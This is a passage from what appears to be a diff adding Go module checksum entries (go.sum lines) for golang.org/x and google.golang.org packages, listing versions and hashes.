h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= +golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= +golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= +golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210225134936-a50acf3fe073/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423185535-09eb48e85fd7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= +golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.13.0 h1:bb+I9cTfFazGW51MZqBVmZy7+JEJMouUHTUSKVQLBek= +golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U= +golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.13.0 h1:ablQoSUd0tRdKxZewP80B+BaqeKJuVhuRxj/dkrun3k= +golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= +golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= +golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= +golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8= +golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= +golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= +golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= +golang.org/x/tools v0.0.0-20200904185747-39188db58858/go.mod h1:Cj7w3i3Rnn0Xh82ur9kSqwfTHTeVxaDqrfMjpcNT6bE= +golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20210108195828-e2f9c7f1fc8e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= +google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= +google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= +google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= +google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= +google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= +google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= +google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= +google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= +google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM= +google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc= +google.golang.org/api v0.35.0/go.mod h1:/XrVsuzM0rZmrsbjJutiuftIzeuTQcEeaYcSk/mQ1dg= +google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34qYtE= +google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8= +google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= +google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= +google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= +google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= +google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= +google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= +google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= +google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= +google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= +google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= +google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= +google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA= +google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod 